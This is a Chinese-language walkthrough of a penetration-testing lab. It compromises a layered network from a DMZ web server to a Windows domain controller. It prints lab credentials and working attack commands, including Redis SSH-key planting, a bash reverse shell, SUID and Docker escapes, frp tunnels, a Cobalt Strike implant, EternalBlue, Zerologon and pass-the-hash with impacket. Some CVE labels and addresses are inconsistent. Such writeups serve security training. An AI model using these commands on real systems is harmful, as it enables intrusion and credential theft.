一、官网环境配置
环境说明
DMZ区IP段为192.168.1.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
环境配置
在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24:
将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。
DMZ区域:
给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。第二层网络区域:
给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。第三次网络区域:
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络。
服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动redis和nginx服务:
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1: web:web2021
Ubuntu 2: ubuntu:ubuntu
通达OA账户: admin:admin657260
靶场涉及知识点
信息收集:
端口扫描
端口服务识别
漏洞利用: 漏洞搜索与利用Redis 未授权访问漏洞
SSH密钥利用
Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
Linux sudo权限提升(CVE-2021-3156)漏洞利用
通达OA v11.3 漏洞利用
Linux环境变量提权
Docker逃逸
Windows NetLogon域内权限提升(CVE-2020-1472)漏洞利用
MS14-068漏洞利用
构建隧道:
路由转发与代理
二层网络代理
三层网络代理
横向移动:
内网(域内)信息收集
MS17-010
Windows系统NTLM与用户凭据获取
SMB Relay攻击
Psexec远控利用
哈希传递攻击(PTH)
WMI利用
DCOM利用
权限维持:
黄金票据
白银票据
Sid History
web渗透
信息收集
端口扫描
使用nmap扫描工具对192.168.1.53
进行扫描
nmap 192.168.1.53 -p- -sV -sS -T5
以下为nmap参数及其意义
-p-:全端口扫描
-sV: 指定让Nmap进行服务版本扫描
-sS:指定使用 TCP SYN的方式来对目标主机进行扫描
-T4: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快
web测试
对80端口端口进行访问,没有web服务。
对81端口进行访问,发现Laravel v8.29.0 (PHP v7.4.14)服务。
百度搜索该版本漏洞信息
或使用x-ray进行漏洞扫描,发现该版本Laravel 存在漏洞
Laravel Debug RCE(CVE-2021-3129)
使用工具进行测试。
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
使用哥斯拉shell管理工具进行连接。哥斯拉版本为v2.9
redis未授权
匿名连接6379端口
详细步骤:
在攻击机本地生成公钥文件:
公钥文件默认路径:/root/.ssh/id_rsa.pub
具体命令:
ssh-keygen -t rsa
cd /root/.ssh
ls
cat id_rsa.pub
然后通过未授权访问目标机
具体命令
edis-cli -h 192.168.1.35 #连接目标主机
config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz “\n\n\n 公钥 \n\n\n” #将公钥写入xz健
save #进行保存
利用公钥进行SSH登录攻击机
上线web1
将私钥同步至本地,使用finalshell工具,以私钥的方式进行登录。
登陆成功
设置代理
服务端代理
vps设置
[common]
bind_port = 7000
后台启动
nohup ./frps -c frps.ini &
客户端代理
web1
frp客户端配置
[common]
server_addr = 124.xx.xx.xx
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
后台启动
nohup ./frpc -c frpc.ini &
内网渗透
web1信息收集
s /home下的文件发现有目录web
cd /etc/nginx/conf.d/
发现目录下有两个配置文件一个是80的一个是81的,80端口404报错查看81端口的配置
发现81端口进行了反向代理
查看主机网段
hostname -I
上传fscan对192.168.52.10网段进行扫描
对web2进行渗透。
由nginx代理配置可知
192.168.52.20(web2)的laravel服务通过nginx代理到192.168.1.53(web1)
故可利用Laravel Debug RCE(CVE-2021-3129)漏洞拿下web2
上线web2
利用Proxifier代理工具,将laravel漏洞利用工具添加socks代理。
Proxifier代理工具使用:https://www.yuque.com/docs/share/63f0f658-9b26-4476-831c-94a7d669904a?#
Laravel Debug RCE(CVE-2021-3129)
成功写入webshell。
使用哥斯拉webshell管理工具进行连接
查看当前环境
当前环境为docker环境、权限为www权限。
由于是docker环境,不好操作。我们反弹shell到web1上
web1
nc -lvvp 6666
哥斯拉
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/6666 0>&1'
反弹shell成功
linux环境变量提权
SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。
在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限。
suid权限仅对二进制程序有效(binary program)(系统中的一些命令),不能用在脚本上(script)。
执行者对于该程序需要具有x的可执行权限;
本权限仅在执行该程序的过程中有效(run-time);
执行者将具有该程序拥有者的权限。
参考:https://gtfobins.github.io/#+suid
find / -perm -u=s -type f 2>/dev/null
在/home/jobs目录下执行shell文件
./shell
cp /bin/bash /tmp/ps
ls /tmp
echo $PATH
export PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
./shell
whoami
成功提权到root权限
docker特权模式逃逸
首先查看一下磁盘文件和设备文件,发现有三个磁盘文件和很多个设备文件,将 /dev/sda1 挂载到自己创建的文件夹
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
cd /
mkdir web2
mount /dev/sda1 /web2
ls /web2
将密钥写入到 /hello/home/ubuntu/.ssh 目录中的 authorized_keys 文件中,写入成功之后就可以使用该密钥登陆该机器(192.168.52.20)
覆盖密匙:
cp -avx /web2/home/ubuntu/.ssh/id_rsa.pub /web2/home/ubuntu/.ssh/authorized_keys #-avx将权限也一起复制
echo > /web2/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件
echo '密钥' > /web2/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
cat /web2/home/ubuntu/.ssh/authorized_keys #查看是否写入成功
上线web2
可以写入kali生成的公私钥,即web1的公私钥
一个公私钥登录两台机器,比较方便
成功登录web2
Linux sudo权限提升(CVE-2021-3156)
发现登入上的用户是ubuntu用户,先信息收集
发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞
https://github.com/briskets/CVE-2021-3493
影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
(Linux内核版本 < 5.11)
上传exploit.c文件后进行gcc编译,赋予exploit文件执行权限后、运行即可
gcc exploit.c -o exploit
chmod +x exploit
./exploit
查看当前网段
hostname -I
设置二层代理
web1
服务端:frps.ini
[common]
bind_addr = 192.168.52.10
bind_port = 7000
nohup ./frps -c frps.ini &
web2
客户端
[common]
server_addr = 192.168.52.10
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
nohup ./frpc -c frpc.ini &
横向渗透
在kali中设置 proxychains
sudo vim /etc/proxychains4.conf
添加socks5代理即可
使用proxy chains + nmap对192.168.52.30进行扫描
fscan进行扫描
发现通达OA服务
通达OA任意文件上传
使用通达OA漏洞工具进行检测、利用
工具地址:https://github.com/Fu5r0dah/TongdaScan_go
漏洞检测
漏洞利用
成功连接webshell,权限为system权限
上线PC1
上传Cobalt Strike木马
运行后,pc1上线cs
MS17-010
使用kali的msf工具对192.168.93.20网段进行探测
挂代理启动msfconsole
proxychains msfconsole
对主机192.168.93.40进行永恒之蓝检测
use auxiliary/scanner/smb/smb_ms17_010
查看设置
show options
设置rhost主机
set rhost 192.168.93.40
进行永恒之蓝检测
run
使用永恒之蓝漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
查看参数
show options
设置 rhost参数
set rhost 192.168.93.40
进行利用
run
上线pc2
在cs中运行命令、查询域控信息。
Nslookup -type=SRV _ldap._tcp
DC机器名称DC,
IP:10.10.10.8
域名:whoamianony.rog
Windows NetLogon域内权限提升(CVE-2020-1472)
该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。
工具链接准备:https://github.com/dirkjanm/CVE-2020-1472/
kali安装impacket
sudo apt install python3-impacket
工具配置完毕,进行漏洞检测和利用
首先检测是否存在NetLogon域内权限提升(CVE-2020-1472)漏洞
Windows系统NTLM与用户凭据获取
使用impacket进行攻击
proxychains impacket-secretsdump -no-pass -just-dc -just-dc-user administrator whoamianony.org/DC$\@192.168.93.30
WMI利用
proxychains impacket-wmiexec whoamianony.org/Administrator\@192.168.93.30 -hashes :ab89b1295e69d353dd7614c7a3a80cec
上线DC
成功拿下域控服务器
参考文章:
https://blog.csdn.net/qq_36241198/article/details/121657521?ops_request_misc=%257B%2522request%255Fid%2522%253A%252216933611381680018413752D
https://blog.csdn.net/weixin_62334252/article/details/125384701